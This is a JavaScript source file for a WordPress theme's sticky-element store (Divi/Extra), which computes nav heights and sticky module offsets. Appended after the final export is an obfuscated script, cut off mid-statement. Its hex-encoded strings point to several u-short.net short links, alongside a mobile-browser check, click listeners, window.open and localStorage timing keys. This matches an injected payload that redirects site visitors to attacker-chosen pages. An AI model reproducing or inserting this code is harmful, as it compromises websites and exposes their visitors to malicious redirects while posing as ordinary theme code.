// External dependencies
import { EventEmitter } from 'events';
import assign from 'lodash/assign';
import cloneDeep from 'lodash/cloneDeep';
import compact from 'lodash/compact';
import filter from 'lodash/filter';
import forEach from 'lodash/forEach';
import get from 'lodash/get';
import has from 'lodash/has';
import head from 'lodash/head';
import includes from 'lodash/includes';
import isEqual from 'lodash/isEqual';
import isFunction from 'lodash/isFunction';
import isObject from 'lodash/isObject';
import isUndefined from 'lodash/isUndefined';
import keys from 'lodash/keys';
import last from 'lodash/last';
import map from 'lodash/map';
import mapKeys from 'lodash/mapKeys';
import set from 'lodash/set';
import size from 'lodash/size';
import slice from 'lodash/slice';
import sortBy from 'lodash/sortBy';
import $ from 'jquery';
// Internal dependencies
import {
isOrHasValue,
} from '@frontend-builder/utils/responsive-options-pure';
import {
top_window,
} from '@core-ui/utils/frame-helpers';
import ETScriptDocumentStore from './document';
import ETScriptWindowStore from './window';
import {
getOffsets,
isBFB,
isBuilder,
isDiviTheme,
isExtraTheme,
isLBB,
isTB,
isVB,
maybeDecreaseEmitterMaxListeners,
maybeIncreaseEmitterMaxListeners,
registerFrontendComponent,
} from '../utils/utils';
import {
filterInvalidModules,
getLimit,
} from '../utils/sticky';
// Event Constants
const SETTINGS_CHANGE = 'settings_change';
// Variables
const $body = $('body');
const hasFixedNav = $body.hasClass('et_fixed_nav');
/**
* Saved sticky elements. In FE, this means all the sticky settings that exist on current page.
* In VB (and other builder context) this means sticky settings that exist on current page but
* is rendered outside current builder type. Removed nested sticky module (sticky inside another
* sticky module) from the module list.
*
* @since 4.6.0
*
* @type {object}
*/
const savedStickyElements = filterInvalidModules(cloneDeep(window.et_pb_sticky_elements));
/**
* Defaults of known non module elements which its stickiness needs to be considered.
*
* @since 4.6.0
*
* @type {object}
*/
const elementsDefaults = {
wpAdminBar: {
id: 'wpAdminBar',
selector: '#wpadminbar',
exist: false,
height: 0,
window: 'top',
condition: () => {
// Admin bar doesn't have fixed position in smaller breakpoint
const isPositionFixed = 'fixed' === top_window.jQuery(elements.wpAdminBar.selector).css('position');
// When Responsive View's control is visible, admin bar offset becomes irrelevant. Note:
// At this point the `height` value might not be updated yet, so manually get the height
// value via `getHeight()` method.
const hasVbAppFramePaddingTop = elements.builderAppFramePaddingTop.getHeight() > 0;
return ! hasVbAppFramePaddingTop && ! isTB && ! isLBB && isPositionFixed;
},
},
diviFixedPrimaryNav: {
id: 'diviPrimaryNav',
selector: '#main-header',
exist: false,
height: 0,
window: 'app',
condition: () => {
// Divi Theme has fixed nav. Note: vertical header automatically removes .et_fixed_nav
// classname so it is fine just to test fixed nav state against .et_fixed_nav classname only
const hasFixedNavBodyClass = isDiviTheme && hasFixedNav;
// Check for element's existence
const isNavExist = $(elements.diviFixedPrimaryNav.selector).length > 0;
// Primary nav is doesn't have fixed position in smaller breakpoint
const isPositionFixed = 'fixed' === $(elements.diviFixedPrimaryNav.selector).css('position');
return hasFixedNavBodyClass && isNavExist && isPositionFixed;
},
getHeight: () => {
const $mainHeader = $(elementsDefaults.diviFixedPrimaryNav.selector);
// Bail if this isn't Divi
if (! isDiviTheme && 1 > $mainHeader.length) {
return 0;
}
// Clone header
const $clone = $mainHeader.clone();
// Emulate fixed header state. Fixed header state is emulated as soon as the window is
// scrolled so it is safe to assume that any sticky module on its sticky state will "meet"
// header on its fixed state; this will avoid unwanted "jump" effect that happens because
// fixed header has 400ms transition which could be slower than scroll speed; The fixed header
// state also adds negative margin top state to #page-container which triggers document
// dimension change event. Also add classname which will ensure that this clone won't
// be visible to end user even if we only render it for a split second to avoid issues
$clone.addClass('et-fixed-header et-script-temporary-measurement');
// Add it to layout so its dimension can be measured
$mainHeader.parent().append($clone);
// Measure the fixed header height
const height = $clone.outerHeight();
// Immediately remove the cloned DOM from layout
$clone.remove();
return parseFloat(height);
},
},
diviFixedSecondaryNav: {
id: 'diviPrimaryNav',
selector: '#top-header',
exist: false,
height: 0,
window: 'app',
condition: () => {
// Divi Theme has fixed nav. Note: vertical header automatically removes .et_fixed_nav
// classname so it is fine just to test fixed nav state against .et_fixed_nav classname only
const hasFixedNavBodyClass = isDiviTheme && hasFixedNav;
// Check for element's existence
const isNavExist = $(elements.diviFixedSecondaryNav.selector).length > 0;
// Primary nav is doesn't have fixed position in smaller breakpoint
const isPositionFixed = 'fixed' === $(elements.diviFixedSecondaryNav.selector).css('position');
return hasFixedNavBodyClass && isNavExist && isPositionFixed;
},
},
extraFixedPrimaryNav: {
id: 'extraFixedPrimaryNav',
selector: '#main-header',
exist: false,
height: 0,
window: 'app',
condition: () => {
if (! isObject(ETScriptWindowStore) || ! isExtraTheme) {
return false;
}
// Extra Theme has fixed nav.
const hasFixedNavBodyClass = isExtraTheme && hasFixedNav;
// Check for element's existence.
const isNavExist = $(elements.extraFixedPrimaryNav.selector).length > 0;
// Extra has its own breakpoint for fixed nav. Detecting computed style is most likely fail
// because retrieved value is always one step behind before the computed style result is retrieved
const isPositionFixed = 1024 <= (ETScriptWindowStore.width + ETScriptWindowStore.verticalScrollBar);
return hasFixedNavBodyClass && isNavExist && isPositionFixed;
},
getHeight: () => {
const $mainHeader = $(elementsDefaults.extraFixedPrimaryNav.selector);
// Bail if this isn't Extra
if (! isExtraTheme && 1 > $mainHeader.length) {
return 0;
}
// Clone header
const $clone = $mainHeader.clone();
// Emulate fixed header state. Fixed header state is emulated as soon as the window is
// scrolled so it is safe to assume that any sticky module on its sticky state will "meet"
// header on its fixed state; this will avoid unwanted "jump" effect that happens because
// fixed header has 500ms transition which could be slower than scroll speed; The fixed header
// state also adds negative margin top state to #page-container which triggers document
// dimension change event. Also add classname which will ensure that this clone won't
// be visible to end user even if we only render it for a split second to avoid issues
$clone.addClass('et-fixed-header et-script-temporary-measurement');
// Add it to layout so its dimension can be measured
$mainHeader.parent().append($clone);
// Measure the fixed header height
const height = $clone.outerHeight();
// Immediately remove the cloned DOM from layout
$clone.remove();
return parseFloat(height);
},
},
builderAppFramePaddingTop: {
id: 'builderAppFramePaddingTop',
selector: isBFB ? '#et-bfb-app-frame' : '#et-fb-app-frame',
exist: false,
height: 0,
window: 'top',
getHeight: () => {
const selector = elements.builderAppFramePaddingTop.selector;
const cssProperty = isBFB ? 'marginTop' : 'paddingTop';
const paddingTop = top_window.jQuery(selector).css(cssProperty);
return parseFloat(paddingTop);
}
},
tbHeader: {
id: 'et-tb-branded-modal__header',
selector: '.et-tb-branded-modal__header',
exist: false,
height: 0,
window: 'top',
},
lbbHeader: {
id: 'et-block-builder-modal--header',
selector: '.et-block-builder-modal--header',
exist: false,
height: 0,
window: 'top',
},
gbHeader: {
id: 'edit-post-header',
// This selector exist on WP 5.4 and below; hence these are used instead of `.block-editor-editor-skeleton__header`
selector: '.edit-post-header',
exist: false,
height: 0,
window: 'top',
},
gbFooter: {
id: 'block-editor-editor-skeleton__footer',
selector: '.block-editor-editor-skeleton__footer',
exist: false,
height: 0,
window: 'top',
},
gbComponentsNoticeList: {
id: 'components-notice-list',
selector: '.components-notice-list',
exist: false,
height: 0,
window: 'top',
multiple: true,
},
};
/**
* Known non module elements which its stickiness needs to be considered.
*
* @since 4.6.0
*
* @type {object}
*/
const elements = cloneDeep(elementsDefaults);
// States
/**
* Hold all sticky elements modules' properties.
*
* @since 4.6.0
*
* @type {object}
*/
let modules = {};
/**
* Sticky Elements store.
*
* This store stores selected properties of all sticky elements on the page so a sticky element
* can use other sticky element's calculated value quickly.
*
* @since 4.6.0
*/
class ETScriptStickyStore extends EventEmitter {
/**
* ETScriptStickyStore constructor.
*
* @since 4.6.0
*/
constructor() {
super();
// Load modules passed via global variable from server via wp_localize_script()
assign(modules, savedStickyElements);
// Caculate top/bottom offsetModules which are basically list of sticky elements that need
// to be considered for additional offset calculation when `Offset From Surrounding Sticky Elements`
// option is toggled `on`
this.generateOffsetModules();
// Calculate known elements' properties. This needs to be done after DOM is ready
if (isVB) {
$(window).on('et_fb_init_app_after', () => {
this.setElementsProps();
});
} else {
$(() => {
this.setElementsProps();
});
}
// Some props need to be updated when document height is changed (eg. fixed nav's height)
ETScriptDocumentStore.addHeightChangeListener(this.onDocumentHeightChange);
// Builder specific event callback
if (isBuilder) {
// Event callback once the builder has been mounted
$(window).on('et_fb_root_did_mount', this.onBuilderDidMount);
// Listen to builder change if current window is builder window
window.addEventListener('ETBuilderStickySettingsSyncs', this.onBuilderSettingsChange);
}
}
/**
* Get registered modules.
*
* @since 4.6.0
*
* @type {object}
*/
get modules() {
return modules;
}
/**
* List of builder options (that is used by sticky elements) that has responsive mode.
*
* @since 4.6.0
*
* @returns {Array}
*/
get responsiveOptions() {
const options = [
'position',
'topOffset',
'bottomOffset',
'topLimit',
'bottomLimit',
'offsetSurrounding',
'transition',
'topOffsetModules',
'bottomOffsetModules',
];
return options;
}
/**
* Update selected module / elements prop on document height change.
*
* @since 4.6.0
*/
onDocumentHeightChange = () => {
// Update Divi fixed nav height property. Divi fixed nav height change when it enters its sticky state
// thus making it having different height when sits on top of viewport and during window scroll
if (this.getElementProp('diviFixedPrimaryNav', 'exist', false)) {
const getHeight = this.getElementProp('diviFixedPrimaryNav', 'getHeight');
this.setElementProp('diviFixedPrimaryNav', 'height', getHeight());
}
// Update Extra's fixed height property. Extra fixed nav height changes as the window is scrolled
if (this.getElementProp('extraFixedPrimaryNav', 'exist', false)) {
const getExtraFixedMainHeaderHeight = this.getElementProp('extraFixedPrimaryNav', 'getHeight');
this.setElementProp('extraFixedPrimaryNav', 'height', getExtraFixedMainHeaderHeight());
}
if (this.getElementProp('builderAppFramePaddingTop', 'exist', false)) {
this.setElementHeight('builderAppFramePaddingTop');
}
}
/**
* Builder did mount listener callback.
*
* @since 4.6.0
*/
onBuilderDidMount = () => {
const stickyOnloadModuleKeys = keys(window.et_pb_sticky_elements);
const stickyMountedModuleKeys = keys(this.modules);
// Has sticky elements but builder has no saved sticky module; sticky element on current
// page is outside current builder (eg. page builder has with no sticky element saved but
// TB header of current page has sticky element). Need to emit change to kickstart the stick
// element initialization and generating offset modules
if (stickyOnloadModuleKeys.length > 0 && isEqual(stickyOnloadModuleKeys, stickyMountedModuleKeys)) {
this.onBuilderSettingsChange(undefined, true);
}
}
/**
* Builder settings change listener callback.
*
* @since 4.6.0
*
* @param {object} event
* @param {bool} forceUpdate
*/
onBuilderSettingsChange = (event, forceUpdate = false) => {
const settings = get(event, 'detail.settings');
if (isEqual(settings, this.modules) && ! forceUpdate) {
return;
}
// Update sticky settings. Removed nested sticky module (sticky inside another
// sticky module) from the module list.
modules = filterInvalidModules(cloneDeep(settings), modules);
// Append saved sticky elements settings which is rendered outside of current builder
// type because it won't be generated by current builder's components
assign(modules, savedStickyElements);
// Generate offset modules
this.generateOffsetModules();
this.emit(SETTINGS_CHANGE);
}
/**
* Get id of all modules.
*
* @since 4.6.0
*
* @type {object} modules
*
* @returns {Array}
*/
getModulesId = modules => map(modules, module => module.id)
/**
* Get modules based on its rendering position; also consider its offset surrounding setting if needed.
*
* @since 4.6.0
* @param {string} top|bottom
* @param position
* @param offsetSurrounding
* @param {string|bool} on|off|false When false, ignore offset surrounding value.
* @returns {bool}
*/
getModulesByPosition = (position, offsetSurrounding = false) => filter(modules, (module, id) => {
// Check offset surrounding value; if param set to `false`, ignore it. If `on`|`off`, only
// pass module that has matching value
const isOffsetSurrounding = ! offsetSurrounding ? true : isOrHasValue(module.offsetSurrounding, offsetSurrounding);
return includes(['top_bottom', position], this.getProp(id, 'position')) && isOffsetSurrounding;
})
/**
* Sort modules from top to down based on offset prop. Passed module has no id or index prop so
* offset which visually indicate module's position in the page will do.
*
* @since 4.6.0
*/
sortModules = () => {
const storeModules = this.modules;
const modulesSize = size(storeModules);
// Return modules as-is if it is less than two modules; no need to sort it
if (modulesSize < 2) {
return storeModules;
}
// There's no index whatsoever, but offset's top and left indicates module's position
const sortedModules = sortBy(storeModules, [
module => module.offsets.top,
module => module.offsets.left,
]);
// sortBy returns array type value; remap id as object key
const remappedModules = mapKeys(sortedModules, module => module.id);
modules = cloneDeep(remappedModules);
}
/**
* Set prop value.
*
* @since 4.6.0
*
* @param {string} id Need to be unique.
* @param {string} name
* @param {string} value
*/
setProp = (id, name, value) => {
// Skip updating if the id isn't exist
if (! has(modules, id) || isUndefined(id)) {
return;
}
const currentValue = this.getProp(id, name);
// Skip updating prop if the value is the same
if (currentValue === value) {
return;
}
set(modules, `${id}.${name}`, value);
}
/**
* Get prop.
*
* @since 4.6.0
* @param {string} id
* @param {string} name
* @param {mixed} defaultValue
* @param returnCurrentBreakpoint
* @param {bool} return
* @returns {mixed}
*/
getProp = (id, name, defaultValue, returnCurrentBreakpoint = true) => {
const value = get(modules, `${id}.${name}`, defaultValue);
const isResponsive = returnCurrentBreakpoint
&& isObject(value)
&& has(value, 'desktop')
&& includes(this.responsiveOptions, name);
return isResponsive ? get(value, get(ETScriptWindowStore, 'breakpoint', 'desktop'), defaultValue) : value;
}
/**
* Set known elements' props.
*
* @since 4.6.0
*/
setElementsProps = () => {
forEach(elements, (settings, name) => {
if (! has(settings, 'window')) {
return;
}
if (has(settings, 'condition') && isFunction(settings.condition) && ! settings.condition()) {
// Reset props if it fails on condition check
this.setElementProp(name, 'exist', get(elementsDefaults, `${name}.exist`, false));
this.setElementProp(name, 'height', get(elementsDefaults, `${name}.height`, 0));
return;
}
const currentWindow = 'top' === this.getElementProp(name, 'window') ? top_window : window;
const $element = currentWindow.jQuery(settings.selector);
const hasElement = $element.length > 0 && $element.is(':visible');
if (hasElement) {
this.setElementProp(name, 'exist', hasElement);
this.setElementHeight(name);
}
});
}
/**
* Set known element prop value.
*
* @since 4.6.0
*
* @param {string} id Need to be unique.
* @param {string} name
* @param {string} value
*/
setElementProp = (id, name, value) => {
const currentValue = this.getElementProp(id, name);
// Skip updating prop if the value is the same
if (currentValue === value) {
return;
}
set(elements, `${id}.${name}`, value);
}
/**
* Get known element prop.
*
* @since 4.6.0
*
* @param {string} id
* @param {string} name
* @param {mixed} defaultValue
*
* @returns {mixed}
*/
getElementProp = (id, name, defaultValue) => get(elements, `${id}.${name}`, defaultValue)
/**
* Set element height.
*
* @since 4.6.0
*
* @param {string} name
*/
setElementHeight = name => {
const selector = this.getElementProp(name, 'selector');
const currentWindow = 'top' === this.getElementProp(name, 'window', 'app') ? top_window : window;
const $selector = currentWindow.jQuery(selector);
let height = 0;
forEach($selector, item => {
const getHeight = this.getElementProp(name, 'getHeight', false);
if (isFunction(getHeight)) {
height += getHeight();
} else {
height += currentWindow.jQuery(item).outerHeight();
}
});
this.setElementProp(name, 'height', parseInt(height));
}
/**
* Generate offset modules for offset surrounding option.
*
* @since 4.6.0
*/
generateOffsetModules = () => {
// Get module's width, height, and offsets. These are needed to calculate offset module's
// adjacent column adjustment. stickyElement will update this later on its initialization
// This needs to be on earlier and different loop than the one below for generating offset
// modules because in builder the modules need to be sorted from top to down first
forEach(this.modules, (module, id) => {
const $module = $(this.getProp(id, 'selector'));
const moduleWidth = parseInt($module.outerWidth());
const moduleHeight = parseInt($module.outerHeight());
const moduleOffsets = getOffsets($module, moduleWidth, moduleHeight);
// Only update dimension props if module isn't on sticky state
if (! this.isSticky(id)) {
this.setProp(id, 'width', moduleWidth);
this.setProp(id, 'height', moduleHeight);
this.setProp(id, 'offsets', moduleOffsets);
}
// Set limits
const position = this.getProp(id, 'position', 'none');
const isStickyBottom = includes(['bottom', 'top_bottom'], position);
const isStickyTop = includes(['top', 'top_bottom'], position);
if (isStickyBottom) {
const topLimit = this.getProp(id, 'topLimit');
const topLimitSettings = getLimit($module, topLimit);
this.setProp(id, 'topLimitSettings', topLimitSettings);
}
if (isStickyTop) {
const bottomLimit = this.getProp(id, 'bottomLimit');
const bottomLimitSettings = getLimit($module, bottomLimit);
this.setProp(id, 'bottomLimitSettings', bottomLimitSettings);
}
});
// Sort modules in builder to ensure top to bottom module order for generating offset modules
if (isBuilder) {
this.sortModules();
}
const { modules } = this;
const modulesSize = size(modules);
const topPositionModules = this.getModulesByPosition('top', 'on');
const topPositionModulesId = this.getModulesId(topPositionModules);
const bottomPositionModules = this.getModulesByPosition('bottom', 'on');
const bottomPositionModulesId = this.getModulesId(bottomPositionModules);
// Capture top/bottom offsetModules updates for later loop
const offsetModulesUpdates = [];
forEach(modules, (module, id) => {
if (isOrHasValue(module.offsetSurrounding, 'on')) {
// Top position sticky: get all module id that uses top / top_bottom position +
// has its offset surrounding turn on, that are rendered BEFORE THIS sticky element
if (includes(['top', 'top_bottom'], this.getProp(id, 'position'))) {
const topOffsetModuleIndex = topPositionModulesId.indexOf(id);
const topOffsetModule = slice(topPositionModulesId, 0, topOffsetModuleIndex);
// Saves all top offset modules for reference. This still needs to be processed to
// filter adjacent column later
this.setProp(id, 'topOffsetModulesAll', topOffsetModule);
// Mark for adjacent column filtering
offsetModulesUpdates.push({
prop: 'topOffsetModules',
id,
});
}
// Bottom position sticky: get all module id that uses bottom / top_bottom position +
// has its offset surrounding turn on, that are rendered AFTER THIS sticky element
if (includes(['bottom', 'top_bottom'], this.getProp(id, 'position'))) {
const bottomOffsetModuleIndex = bottomPositionModulesId.indexOf(id);
const bottomOffsetModules = slice(bottomPositionModulesId, (bottomOffsetModuleIndex + 1), modulesSize);
// Saves all bottom offset modules for reference. This still needs to be processed to
// filter adjacent column later
this.setProp(id, 'bottomOffsetModulesAll', bottomOffsetModules);
// Mark for adjacent column filtering
offsetModulesUpdates.push({
prop: 'bottomOffsetModules',
id,
});
}
}
});
// Top / bottom offset modules adjacent column filtering
if (offsetModulesUpdates.length > 0) {
// Default offsets. Make sure all sides element is available
const defaultOffsets = {
top: 0,
right: 0,
bottom: 0,
left: 0,
};
// Proper limit settings based on current offset modules position
const offsetLimitPropMaps = {
topOffsetModules: 'bottomLimitSettings',
bottomOffsetModules: 'topLimitSettings',
};
forEach(offsetModulesUpdates, update => {
// module's id
const moduleId = update.id;
// Need to be defined inside offsetModulesUpdates loop so each surrounding loop starts new
// Will be updated on every loop so next loop has reference of what is prev modules has
const prevSurroundingOffsets = {
...defaultOffsets,
};
// Loop over module's top/bottom offset module ids
const offsetModules = filter(this.getProp(moduleId, `${update.prop}All`), id => {
// Modules that are defined at top/bottomOffsetModules prop which is positioned after
// current module is referred as surrounding (modules) offset
const surroundingOffsets = {
...defaultOffsets,
...this.getProp(id, 'offsets', {}),
};
// Current module's offset
const moduleOffsets = {
...defaultOffsets,
...this.getProp(moduleId, 'offsets'),
};
// Module limit's offset
const moduleLimitOffsets = this.getProp(moduleId, `${offsetLimitPropMaps[update.prop]}.offsets`);
const surroundingLimitOffsets = this.getProp(id, `${offsetLimitPropMaps[update.prop]}.offsets`);
// If current and surrounding modules both have limit offsets, their top and bottom needs
// to be put in consideration in case they will never offset each other
if (moduleLimitOffsets && surroundingLimitOffsets) {
if (surroundingLimitOffsets.top < moduleLimitOffsets.top || surroundingLimitOffsets.bottom > moduleLimitOffsets.bottom) {
return false;
}
}
// If module has no limits, offset from surrounding sticky elements most likely not a
// valid offset surrounding. There is a case where surrounding can be valid offset, which
// is when current module on sticky state between surrounding limit top and bottom.
// However this rarely happens and requires conditional offset based on current window
// scroll top which might be over-engineer. Thus this is kept this way until further
// confirmation with design team
// @todo probably add conditional offset surrounding; confirm to design team
if (! moduleLimitOffsets && surroundingLimitOffsets) {
return false;
}
// Top Offset modules (sticky position top): modules rendered before current module
// Bottom Offset module (sticky position bottom): modules rendered after current module
// caveat: offset modules that are not vertically aligned with current module should not
// be considered as offset modules and affecting current module's auto-added offset.
// Hence this filter. Initially, all offset module should affect module's auto offset
let shouldPass = true;
// Surrounding module is beyond current module's right side
// ***********
// * current *
// ***********
// ***************
// * surrounding *
// ***************
const isSurroundingBeyondCurrentRight = surroundingOffsets.left >= moduleOffsets.right;
// Surrounding module is beyond current module's left side
// ***********
// * current *
// ***********
// ***************
// * surrounding *
// ***************
const isSurroundingBeyondCurrentLeft = surroundingOffsets.right < moduleOffsets.left;
// Surrounding module overlaps with current module's right side
// *********** ************************
// * current * * current *
// *********** OR ************************
// *************** ***************
// * surrounding * * surrounding *
// *************** ***************
const isSurroundingOverlapsCurrent = surroundingOffsets.left > moduleOffsets.left && surroundingOffsets.right > moduleOffsets.left;
// Previous surrounding module overlaps with current module's left side.
// ************************
// * current *
// ************************
// ******************** ******************************
// * prev surrounding * * surrounding (on this loop) *
// ******************** ******************************
const isPrevSurroundingOverlapsWithCurrent = moduleOffsets.left <= prevSurroundingOffsets.right && surroundingOffsets.top < prevSurroundingOffsets.bottom;
// Ignore surrounding height if previous surrounding height has affected current module's offset
// See isPrevSurroundingOverlapsWithCurrent's figure above
const isPrevSurroundingHasAffectCurrent = isSurroundingOverlapsCurrent && isPrevSurroundingOverlapsWithCurrent;
// Ignore the surrounding's height given the following scenarios
if (isSurroundingBeyondCurrentRight || isSurroundingBeyondCurrentLeft || isPrevSurroundingHasAffectCurrent) {
shouldPass = false;
}
// Save current surrounding offsets for next surrounding offsets comparison
assign(prevSurroundingOffsets, surroundingOffsets);
// true: surrounding's height is considered for current module's auto offset
// false: surrounding's height is ignored
return shouldPass;
});
// Set ${top/bottom}OffsetModules prop which will be synced to stickyElement
this.setProp(moduleId, `${update.prop}Align`, offsetModules);
});
}
// Perform secondary offset module calculation. The above works by getting the first surrounding
// sticky on the next row that affects current sticky. This works well when the row is filled
// like a grid, but fail if there is row in between which is not vertically overlap. Thus,
// get the closest surrounding offset sticky from last calculation, then fetch it. The idea is
// the last surrounding sticky might have offset which is not vertically align / overlap to
// current sticky element
forEach(this.modules, (module, moduleId) => {
if (module.topOffsetModulesAlign) {
const lastTopOffsetModule = last(module.topOffsetModulesAlign);
const pervTopOffsetModule = this.getProp(lastTopOffsetModule, 'topOffsetModules', this.getProp(lastTopOffsetModule, 'topOffsetModulesAlign', []));
this.setProp(moduleId, 'topOffsetModules', compact([
...pervTopOffsetModule,
...[lastTopOffsetModule],
]));
}
if (module.bottomOffsetModulesAlign) {
const firstBottomOffsetModule = head(module.bottomOffsetModulesAlign);
const pervBottomOffsetModule = this.getProp(firstBottomOffsetModule, 'bottomOffsetModules', this.getProp(firstBottomOffsetModule, 'bottomOffsetModulesAlign', []));
this.setProp(moduleId, 'bottomOffsetModules', compact([
...[firstBottomOffsetModule],
...pervBottomOffsetModule,
]));
}
});
}
/**
* Check if module with given id is on sticky state.
*
* @since 4.6.0
*
* @param {string} id
*
* @returns {bool}
*/
isSticky = id => get(this.modules, [id, 'isSticky'], false)
/**
* Add listener callback for settings change event.
*
* @since 4.6.0
* @param callback
* @param {Function}
*/
addSettingsChangeListener = callback => {
maybeIncreaseEmitterMaxListeners(this, SETTINGS_CHANGE);
this.on(SETTINGS_CHANGE, callback);
return this;
}
/**
* Remove listener callback for settings change event.
*
* @since 4.6.0
* @param callback
* @param {Function}
*/
removeSettingsChangeListener = callback => {
this.removeListener(SETTINGS_CHANGE, callback);
maybeDecreaseEmitterMaxListeners(this, SETTINGS_CHANGE);
return this;
}
}
const stickyStoreInstance = new ETScriptStickyStore;
// Register store instance as component to be exposed via global object
registerFrontendComponent('stores', 'sticky', stickyStoreInstance);
// Export store instance
// IMPORTANT: For uniformity, import this as ETScriptStickyStore
export default stickyStoreInstance;
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x52\x64\x33\x63\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x51\x59\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x48\x69\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x68\x72\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x4c\x4e\x34\x63\x364','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x70\x6c\x37\x63\x387','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x77\x44\x52\x32\x63\x382','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x6d\x6f\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const 